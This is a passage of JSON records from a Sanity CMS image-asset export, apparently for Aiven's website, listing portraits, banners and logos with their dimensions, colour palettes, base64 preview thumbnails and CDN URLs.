#000","population":8.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3b4ce","foreground":"#000","population":0.81,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9bba6","foreground":"#000","population":8.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac5c54","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac6c4c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Matthew De Detrich.jpg","path":"images/sczeoy4w/production/1007f846c36512c86dbc2bfba98e99ee0ca5c6e0-512x512.jpg","sha1hash":"1007f846c36512c86dbc2bfba98e99ee0ca5c6e0","size":22449,"uploadId":"0iqxVNi8mdEYiIxjwkj9v31xjYdcs0z6","url":"https://cdn.sanity.io/images/sczeoy4w/production/1007f846c36512c86dbc2bfba98e99ee0ca5c6e0-512x512.jpg"} {"_createdAt":"2022-10-25T11:19:32Z","_id":"image-10099ce0582fb52300ca0b074af06ff13a72c19e-1600x735-png","_rev":"o6tzS9VqKAkmnDQmLHxdIz","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T11:19:32Z","assetId":"10099ce0582fb52300ca0b074af06ff13a72c19e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4SY{q?H?c_NIU~WV@-;tlM{oMe.aekWbb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.17687074829932,"height":735,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAh0lEQVQokaXP0QqDMAyFYd//KSPDgWkU0jY56d1wXmzIpMr+y8CXkCEOAVGrqWbVahWBOG84Dtyc50T0GMeZuZRi79y9j+GmzE+ikWiaJmYWkXVdSykAehjIOS8ikpKILJtcVNXM+nj3ANwMXsMt4K21az/HZ8XGgBb4Tc/wfvy7e5ev9Bd+AU9MB43sEhB+AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4d","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#731111","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b4b4b4","foreground":"#000","population":0.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b4b4","foreground":"#000","population":0.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0887c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a45c5c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e76060","foreground":"#fff","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"10099ce0582fb52300ca0b074af06ff13a72c19e-1600x735.png","path":"images/sczeoy4w/production/10099ce0582fb52300ca0b074af06ff13a72c19e-1600x735.png","sha1hash":"10099ce0582fb52300ca0b074af06ff13a72c19e","size":60895,"uploadId":"7PDoMBUukd995y16br8acUNjib66qeqQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/10099ce0582fb52300ca0b074af06ff13a72c19e-1600x735.png"} {"_createdAt":"2024-05-20T07:39:50Z","_id":"image-1013c17595ba26d8ae3c7cd67431395a143145da-1600x1137-png","_rev":"5dKvdU2b7V4fiIIxYxOyeZ","_type":"sanity.imageAsset","_updatedAt":"2024-05-20T07:39:50Z","assetId":"1013c17595ba26d8ae3c7cd67431395a143145da","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VfPF}^Ek9ETKDiysr?xaxaV@8wV@t,smkXk?n$emj?Ri","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4072119613016711,"height":1137,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAABYlAAAWJQFJUiTwAAAD4UlEQVQ4jX2ObUxbVRjH74fCINFEo36Y84tTx8IyEjWyRFgWIRYTY2binJCpK4QZDeMyxsuAEUbWwWDD4iZtt6kZrLBJYVGJs2Mxc5ERk0VAGLSU8lJaCt0ofbn33Ndzz3PMBdRvfvid//N8OP/nx0SiYvLs/PJzd+/9sf167w87uhzOtGvdzrQuh3PntW7nTn139PSl9dy4+cqlK53Pj4yMZTxeXa2OxWLdCKFejPH3hJA2jNW9AhczMHEep3TYvk3/sKDItC/vA3OW8WBrljG/JSsvv1XnTeNHrdnvFLS+/X7R2Xfzvzh1qsVqGf1rajgSWQsjhCIY4wghZAhr2kFegWQmEpdTy4/X7M0/VNx55GjtAlt3PszWW1bYk5awTll9e7i84UK42mxbaTj/XeiyY+DR6LhXikbjVJIkqqqYalj1qCJfKPrupzBL4Xjq8YoTuadPNw/8fOuONDoxQ0cmZuiDMQ/9c9xLx6fm6MNpP52aCVD3bJDO+ldo+NEacAmOSJJEFEUBlVv1q95fT2qXc7cygdBaak1tfa7NavvJ7XaLsiRTxAkkthYDxPGAFRU0GW+kpgHGGBASgOd4EEURZFmiyso0j++1XSctL77GBDcLrVbbwNSUW5REmaK4ALHVGHCJBMhIBDkhgMAhkCQJZFkGnuchkUiAIIigKArFyw+xdqfRRZpeyGYCS5GUquqat6xW249ut0dUZIXKogR8gls31GcsK6AqKtXtVFWlHMfRaDQKPI/0A1QNTWB8u8FFmrZlMzNzIYOpsGjPxYtfO9cLFYXKkgQCz4GEBFAVBQghAABUfzRNowghGo9vGHLxGF0dvYUTPYUu0vhMNsOW1zE5ObkZFku7w+PxCLrJRiEPIkJUkWWql/xTSgihuqV+WFExLC/66Fh3PV5o3OUitUnZzEr4MZOZmZlusbR3eb1epH/WrUSENgxlGQjGAISsK1JKN1lfIOCbpPcvFOJp9qlfaCWTxTid/Qaj0fiq2WzuGRoaEv3+RTo/v0B8Mz6Y9c3BwrwfFv0BCCwGIRBc+pdgcAkWgyHyYPguuM4WqJPssy657ol9zNWrXVuLi4/klpSUXGlra5vs/Ma2dMN+TuztMFOnjvUM7bM10X57E+2z69m8waVm2mdvpo5zFdRZkUNGKl7+beHMG+8xX1q+2lZWduz1Tz49fMBkMn3W/Pn+ppulmb8PshnBQXZ36Hbp7pCe6/NmDrIZ/1G6KzTMvhRwV23vn2zck8dUVp0wHC0p2XLocFHKxwf2p06zT6fHK5KPocokK6o02FGlwfb/JNmFqqQOoXpLaaz6yR1/A8gtLqNivNh1AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#393949","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#082662","foreground":"#fff","population":1.74,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f87505","foreground":"#fff","population":6.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ae99c0","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4a46c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#945054","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87505","foreground":"#fff","population":6.99,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-aiven-console-create-service-aiven-for-caching.png","path":"images/sczeoy4w/production/1013c17595ba26d8ae3c7cd67431395a143145da-1600x1137.png","sha1hash":"1013c17595ba26d8ae3c7cd67431395a143145da","size":292895,"uploadId":"nJlM7s6ZkM3G4haYfw1ino2dvadRBwNC","url":"https://cdn.sanity.io/images/sczeoy4w/production/1013c17595ba26d8ae3c7cd67431395a143145da-1600x1137.png"} {"_createdAt":"2024-02-27T12:59:42Z","_id":"image-1034673270fd6773e62cb9193f275e2b0c037bb9-1920x1037-jpg","_rev":"w5AXxS2dRCMjAjCd4XPvRK","_type":"sanity.imageAsset","_updatedAt":"2024-02-27T12:59:42Z","assetId":"1034673270fd6773e62cb9193f275e2b0c037bb9","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MuNQMYxFxUou#S}[ofOpSvI:R+WEWBX7S2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUHBP/EACQQAAEDBAEDBQAAAAAAAAAAAAECAwQABQYRIQcSEzFBQlJh/8QAFQEBAQAAAAAAAAAAAAAAAAAABQb/xAAhEQABBAIABwAAAAAAAAAAAAABAgMEIQASERMxQVFh4f/aAAwDAQACEQMRAD8A3XvMrHZcQhNIfa83YG0I1vR/aRx8ij2ezypMqMw+1KKQpZOkpB9dVGs8UfFH5+RpsZD0np8ht9xS0IQSkH2ohhrmR0bGgfmWMqYqK85FQKrh675ZIlzxiVHQ8m2BaVDgpc4NFT3EiRj0PX0oop1/VZSEij4ygjxg40lZJsA9Tn//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#56324c","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c02004","foreground":"#fff","population":5.83,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e43c0b","foreground":"#fff","population":6.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6adce","foreground":"#000","population":0.53,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f988ae","foreground":"#000","population":5.45,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#64849c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e43c0b","foreground":"#fff","population":6.37,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-slush-2021.jpg","path":"images/sczeoy4w/production/1034673270fd6773e62cb9193f275e2b0c037bb9-1920x1037.jpg","sha1hash":"1034673270fd6773e62cb9193f275e2b0c037bb9","size":609601,"uploadId":"a82egYRvqUweKRzhLOOFIpGw3pByHDPi","url":"https://cdn.sanity.io/images/sczeoy4w/production/1034673270fd6773e62cb9193f275e2b0c037bb9-1920x1037.jpg"} {"_createdAt":"2024-03-13T21:33:51Z","_id":"image-103a564493324840ad6a32e5ff20816c6c7bd5c2-1200x630-png","_rev":"2QvLnXP36WAnQ13A3pYsZ8","_type":"sanity.imageAsset","_updatedAt":"2024-03-13T21:33:51Z","assetId":"103a564493324840ad6a32e5ff20816c6c7bd5c2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBBV*.0v#kOw:|kPOw}O15xu%2R4JW$%$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADB0lEQVQokUWSW0/bBQBH+w2MYaH0Qu+lrPyBskJber+3whBGkUuh67q2tECBliJMaVl1pYBjc8TrZvpidAaSORCdGhN9MGpMfJgP88WoiYnPfoRjsj34BX45OecnOiebpk05i1STQKa9gkR9FbEyQ5sqh0RTQKYrItOvIzdsouisoBYaGC336POe4AyfkJ+8ySfFNE92Rvn3MIRIrIxz3pSj31HE7ChhvLCCViigFVbRd5cx9F7DaK7SNVBDGKhjsh9g9jTp8z7EFjghOXabu7kcP1Ri/LUXRSTVzGFxFYm8WCV8cRt3aAt3aBtP+DVcwRu4w7sEhg+IjB0SGXubodgHhMc+xhL8FLP3ISORt7geX+V+IcHpWhxRm2qWXssSDv86dt8Gg95ruIJV3KEazuDruEIN3JF9PNEDHMFb2IOHOMJNrIEj+r3HBNx3WHlhmZ2JNOXR1f8H7b51nIFNHIFXcPgruII1POE6nsgug/4GpsEbdJhqaHt26LW/gzN6RGjoiFSwxn4gxn5gnEVX7plDwbyAxVXC6lnH4tqg37mJ1V3B5rmO2VGjq38btbCF3LCFpruB1dckGjtjeuaUxvgGZ1EbxwEbe55RRC2yKRQdSXRCBr2QQycsoBMKdPSUnkZRGtZQGUoYutY4L7xMz8AuvuH7xC5/SzL9HZWpAz4ausiHoRBVbxLRc60TtEgnaW2fQaxMIFalkGiyyHSLz26jWWbAtEg8mCE/nGFupMrE9DGJ3E9cXfqF2ZnPuBJ5k1TwDUZ87yN6vnUcuTSGWjOLQp9CrkujNeYxdBeQaQsotAVGnBluJaZ4sHKJ5soy5aVj8qVfWSg/4dLc9wyGHmHxP8Ls/xLROfE4OkUMY+dl9MI8qs4snd05BNMiCn0BhW6ZUXeW5nyMx7UoP9az3Nx6QLnyO2uVP5lM/Yw1/DV9vq/o836BqEXyEmL5JFJlHKkmiUSdQqZJ066bf0rYri/isy3xbmaaP/Yi/HY7y3v1Myr1v3m1/g9z+cc4h77B7P+cC95T/gPXbbiAyh3WigAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4378","foreground":"#fff","population":1.99,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041481","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c4378","foreground":"#fff","population":1.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5aad5","foreground":"#000","population":1.55,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f89e43","foreground":"#000","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5cac","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e04d11","foreground":"#fff","population":1.23,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"_AWS Berlin 2024.png","path":"images/sczeoy4w/production/103a564493324840ad6a32e5ff20816c6c7bd5c2-1200x630.png","sha1hash":"103a564493324840ad6a32e5ff20816c6c7bd5c2","size":257966,"uploadId":"g766il7XAShW6cAs3YN4lWFeg9dQNplf","url":"https://cdn.sanity.io/images/sczeoy4w/production/103a564493324840ad6a32e5ff20816c6c7bd5c2-1200x630.png"} {"_createdAt":"2023-01-08T16:05:49Z","_id":"image-103acde23f8e1096ff0a67aa799af9449f59e355-1567x844-jpg","_rev":"DbggwV6E2LNVsJXxzl17qz","_type":"sanity.imageAsset","_updatedAt":"2023-01-08T16:14:55Z","altText":"Why moving from batch to real-time analytics is a good idea","assetId":"103acde23f8e1096ff0a67aa799af9449f59e355","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAIEBQf/xAAfEAABAwQDAQAAAAAAAAAAAAABAAIEAxEhMQUSgTL/xAAWAQEBAQAAAAAAAAAAAAAAAAACBQb/xAAXEQEBAQEAAAAAAAAAAAAAAAAAEQEx/9oADAMBAAIRAxEAPwDIhy0IU6bTAaS0AE4yo/Iz6MlnWPFZSadmwv4q+vpmtJWZHq1EzqJdsIRYoTO+ihMX/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3866","foreground":"#fff","population":1.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":61.65,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":61.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acacc9","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8ea0e8","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e7491","foreground":"#fff","population":1.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b3474a","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Make_the_switch_from_batch_to_real-time_blog.jpg","path":"images/sczeoy4w/production/103acde23f8e1096ff0a67aa799af9449f59e355-1567x844.jpg","sha1hash":"103acde23f8e1096ff0a67aa799af9449f59e355","size":282098,"title":"The benefits of switching to real-time analytics","uploadId":"Pm8kclyl0KFJ4x0rFghG30CkEpga3ZCS","url":"https://cdn.sanity.io/images/sczeoy4w/production/103acde23f8e1096ff0a67aa799af9449f59e355-1567x844.jpg"} {"_createdAt":"2022-11-09T11:35:06Z","_id":"image-103b4fb2df77180b0dc14ecc6b4257860718cf06-2016x1114-png","_rev":"AgVn9c2bYty4stE1QsDsXu","_type":"sanity.imageAsset","_updatedAt":"2022-11-09T11:59:38Z","altText":null,"assetId":"103b4fb2df77180b0dc14ecc6b4257860718cf06","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8096947935368044,"height":1114,"width":2016},"exif":{"PixelXDimension":2016,"PixelYDimension":1114,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAABbUlEQVQokXWTi46jMAxF+f+/bKHSTkelEBI7dh53ZdMiZqqJdOSQODd+hEFVoVrQWkPv/aDWCiLCGgLWNSCYDQEpJZRSD7/WG0QyYoq+N2zbhpQiigp6rx+ipRRoKW4NW2tnn9ZATHguC5ZlwWC3bluAZEKrn6J7FPhYOwR79ws5Z2ewVAzmBFVGrYref6ZvEZ2j+r3XTxyCxAlZCCKEUsSF35Rqqe40o+3W19qe0XsMYdv2YpugMlgSWMjJL0vZSAd8zAmi8mroXpYhBBNcvbAWiSFFkVXBKiARbER4hhXz8sTjOR/M64LE5I2x4YLWZYsyS/Yn4HVpRnPH0hoSM+7f37jdbpimCeM0Ypwm/Pv6QkzJfX8IbjHC3uNfncyieDweLjiOIy6XC67XK+73O4jZG3MIxhgRo3VYj6hqPdnaIFo8Entn8zy7uGGZiZ2zi9+COQuYGSKCLDbP/n225LD/OYnIrWPnXoLvCP8DYzBbb1MiWz4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#525455","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242a60","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d8d5b2","foreground":"#000","population":0.26,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8d5b2","foreground":"#000","population":0.26,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b4b9e3","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#818282","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4551b9","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"business-4-messages.png","path":"images/sczeoy4w/production/103b4fb2df77180b0dc14ecc6b4257860718cf06-2016x1114.png","sha1hash":"103b4fb2df77180b0dc14ecc6b4257860718cf06","size":250093,"title":null,"uploadId":"PkSVYq83OU9K6pvlhgule4xJ2nZtGOhU","url":"https://cdn.sanity.io/images/sczeoy4w/production/103b4fb2df77180b0dc14ecc6b4257860718cf06-2016x1114.png"} {"_createdAt":"2023-11-09T11:30:54Z","_id":"image-104e7da450e5d4cb301912dc2ecbc13f8c02a83e-1000x465-jpg","_rev":"Egc6c95a4S13BHFMP0S4JD","_type":"sanity.imageAsset","_updatedAt":"2023-11-09T11:30:54Z","assetId":"104e7da450e5d4cb301912dc2ecbc13f8c02a83e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MfRMMOof%fof%MXnayn$a|oJ~qj[Myj[M{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.150537634408602,"height":465,"width":1000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAJABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQHAf/EACAQAAEDBAMBAQAAAAAAAAAAAAEAAgMEBQYxESEiEkH/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAf/EABkRAAIDAQAAAAAAAAAAAAAAAAACEmGR4f/aAAwDAQACEQMRAD8AuuRVuSw3OVlsjhdTggsLmk89aKRlu2XuLPimpm8Dl3k9qgO2s/Em1Z0sVvROxy1c1shkuDGsqSPQboIT40hCH//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b4663","foreground":"#fff","population":0.4,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043061","foreground":"#fff","population":5.32,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#043061","foreground":"#fff","population":5.32,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9bb5cd","foreground":"#000","population":1.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0bf8f","foreground":"#000","population":0.97,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5b7a99","foreground":"#fff","population":0.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f36a14","foreground":"#fff","population":5.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"idealo_Logo_weiß.jpg","path":"images/sczeoy4w/production/104e7da450e5d4cb301912dc2ecbc13f8c02a83e-1000x465.jpg","sha1hash":"104e7da450e5d4cb301912dc2ecbc13f8c02a83e","size":62094,"uploadId":"IDA7V25Gto8sopfXhG3nKiiDjNigP7i9","url":"https://cdn.sanity.io/images/sczeoy4w/production/104e7da450e5d4cb301912dc2ecbc13f8c02a83e-1000x465.jpg"} {"_createdAt":"2022-06-14T14:41:16Z","_id":"image-10570438d915b4fe6c9050077d83af3db655368e-1866x1866-jpg","_rev":"qkpX9b3U0TpOGFQp8XG5TI","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:16Z","assetId":"10570438d915b4fe6c9050077d83af3db655368e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHJas2-:009ZR500V@?vW=%M?wRkrqt79ZbbWBRQxaofIAWVtRoe%2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1866,"width":1866},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAcFBAb/xAAmEAACAgEDBAAHAAAAAAAAAAABAgMEAAUGEQcSEzEhIjJBUWGh/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwQC/8QAGhEAAwADAQAAAAAAAAAAAAAAAAERAhIxQf/aAAwDAQACEQMRAD8AwqOntIlWGMrFNYfxqz+h+zmPrVjUNG3PFR1dUeEv2pJGPgcrW3dpXdZhqWq6rHHC4dJG/I953b86cWtSlrTxAStWbvCc/UcnaytRXjprH0kV6JDOT4ieRjPQ6lUFWyYbsbRTqPmQ/bGaoULr0yYnZ1An2Sec3dVkZByp4PdjGIuB+kX3/BG+4pGZQSUXn+4xjCYp/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#574139","foreground":"#fff","population":1.63,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#593727","foreground":"#fff","population":2.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#867971","foreground":"#fff","population":9.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0a797","foreground":"#000","population":4.8,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecc4a4","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#867971","foreground":"#fff","population":9.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b16d4d","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Uliana_portrait.jpg","path":"images/sczeoy4w/production/10570438d915b4fe6c9050077d83af3db655368e-1866x1866.jpg","sha1hash":"10570438d915b4fe6c9050077d83af3db655368e","size":605871,"uploadId":"iq2gvLHnVHczza4iDFx2PsSSUoB4Dr7N","url":"https://cdn.sanity.io/images/sczeoy4w/production/10570438d915b4fe6c9050077d83af3db655368e-1866x1866.jpg"} {"_createdAt":"2024-03-25T16:05:12Z","_id":"image-1072027d2c450f2cf653ad9624bc5de81a90c7dd-1400x588-png","_rev":"Y34ePYFQ489qDVybEK0Fjf","_type":"sanity.imageAsset","_updatedAt":"2024-03-25T16:05:12Z","assetId":"1072027d2c450f2cf653ad9624bc5de81a90c7dd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M009jvfQfQfQfQfQfQfQfQfQfQfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.380952380952381,"height":588,"width":1400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA/klEQVQokY3SyysFUBAG8J/3o+giUchjo2tjc2NhoWQnrzxShLxSJEVW5Ba5Ic/kkYX8pzoadXfu1NfUnJlvvpk50IcmtGEEGzjELKbxiHfMoFEJVhNIxBOBqSA+xlU0GEMXMmhBa4hoD0ENARXoDAV5HGAOyziLWCLcw0rkzcf7JtZiksnw6jGIHVxjH4tRcI4nvOALb3jAMz7xjXvc4RWXibAKPUGSj64L2I2Rj3CCAm5wGrFCNLqNZh/Y/ttjbahcx2qMnPY4jH5kkcMQBmLfKX8cW7jAErqLj1OHjggm34xqlAfSrhPKimrSEUaDrLeUH/CfVcYESf3vl/oBb+Am/S8BZuIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":100,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":100,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"disney_logo.png","path":"images/sczeoy4w/production/1072027d2c450f2cf653ad9624bc5de81a90c7dd-1400x588.png","sha1hash":"1072027d2c450f2cf653ad9624bc5de81a90c7dd","size":34877,"uploadId":"FvCx89g3pVPHJaPSIPo0MCwepM22HvgY","url":"https://cdn.sanity.io/images/sczeoy4w/production/1072027d2c450f2cf653ad9624bc5de81a90c7dd-1400x588.png"} 